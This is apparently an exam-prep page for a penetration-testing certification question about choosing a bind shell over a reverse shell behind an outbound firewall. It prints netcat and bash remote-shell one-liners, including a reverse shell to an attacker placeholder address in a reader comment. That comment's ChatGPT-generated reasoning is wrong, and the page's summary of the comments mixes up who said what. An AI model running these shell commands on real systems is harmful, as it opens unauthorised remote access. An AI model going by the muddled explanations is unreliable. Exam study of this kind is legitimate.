Which Shell Type Works When Outbound Firewall Blocks Traffic?

PT0-002 By islever Editorial Last updated

Short answer

C nc -vlp 8443 /bin/bash

Question

After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?
  1. bash -i >& /dev/tcp 8443 0>&1
  2. nc -e host 8443 /bin/bash
  3. nc -vlp 8443 /bin/bash Correct Answer
  4. nc -vp 8443 /bin/bash

Key Takeaways

The question tests your ability to choose a bind shell (listener) over a reverse shell when outbound traffic is blocked; many test-takers incorrectly choose reverse shells.

When a firewall blocks outbound traffic, a penetration tester needs a bind shell, not a reverse shell; the community supports Option C as correct despite potential syntax omissions.

Common mistake: Choosing Option A (bash reverse shell) is the most common error because it looks like a standard interactive shell, but it initiates an outbound connection that the firewall will block.

Expert Analysis

Why the Answer Is Correct

Option C (nc -vlp 8443 /bin/bash) is the intended answer because it creates a listening socket on the compromised host, allowing the attacker to connect inbound. Since outbound traffic is blocked, a bind shell is the only way to get an interactive session. Community comment [2] explicitly notes that a reverse shell attempt (Option A) would be blocked by the outbound firewall.

Why the Other Options Are Wrong

Option A (bash -i >& /dev/tcp 8443 0>&1) is a reverse shell that attempts an outbound connection, which the firewall blocks. Options B and D are also reverse shells using netcat to connect from the remote host to the attacker; B is missing the attacker IP and D uses -v (verbose) instead of -l (listen), so neither establishes a bind shell. Community comment [3] provides a detailed explanation that outbound restrictions make reverse shells impossible.

Community Comment Notes

Comment [1] points out that logically a listener (-l) is needed, but also notes that the -e flag is missing in the printed option, which may be a typo in the exam. Comment [2] reinforces that Option A's outbound connection would be blocked. Comment [3] offers a ChatGPT-generated explanation, further clarifying that a bind shell is required. These comments collectively affirm that while the syntax is imperfect, the correct intent is clearly Option C.

Official Reference

These links open the official vendor documentation in a new tab.

Exam Strategy

On exam day, see "outbound traffic blocked" and immediately look for a listen/bind shell option. Practice netcat syntax both with and without -e so you can recognize the intended answer even if the option is incomplete.

Community Votes

C
71%
A
29%

71% of anonymous learners picked answer C. Votes are pick records left by other test-takers — they are not the verified answer.

Discussion 3 contributions

Compiled from public community threads and reader submissions, lightly edited for clarity. Handles and vote tallies are shown as recorded, and comments reflect the views of individual contributors.

From public community threads 3

  1. GS1981 👍 3 Answered C
    The firewall is blocking outbound traffic from the remote host, so I would think you need to set up a bind shell which means a listener (l), so nc -vlp 8443 -e /bin/bash for me is the answer. However the -e is left off the answer (maybe that's a typo)
  2. Alex818119 👍 2 Answered A
    Chat GPT: explanation: The key part of the question is that outbound traffic is blocked by a firewall. To overcome this, the penetration tester needs to execute a reverse shell from the compromised host that initiates an outbound connection to the attacker's machine. The command must also ensure compatibility with typical Unix-based systems. Option A: bash -i >& /dev/tcp/<attacker_ip>/8443 0>&1 This command creates a reverse shell using Bash. Here is how it works: bash -i: Starts an interactive Bash shell.>& /dev/tcp/<attacker_ip>/8443: Redirects input and output streams to a TCP socket connected to the attacker's IP on port 8443.0>&1: Links standard input to the output, enabling two-way communication.Since it originates the connection from the compromised host to the attacker's system, it bypasses firewalls blocking inbound traffic.
  3. Snagggggin 👍 2 Answered C
    It's C. The outbound connection attempt from A would be blocked.

Reader comments & corrections

No reader corrections yet — spotted an error or have a note? Share it below.

Log in to comment, report an error, or add a note about this question.

Which Post-Report Activity Prevents CISO Disputing Finding Validity?

S-grade

How should penetration testers prioritize findings in a report?

S-grade

Which agreement did a pen tester breach by requesting a CVE without authorization?

S-grade

Which Tool Best Detects Vulnerabilities on a Database Server?

S-grade

← Back to PT0-002 Study Guide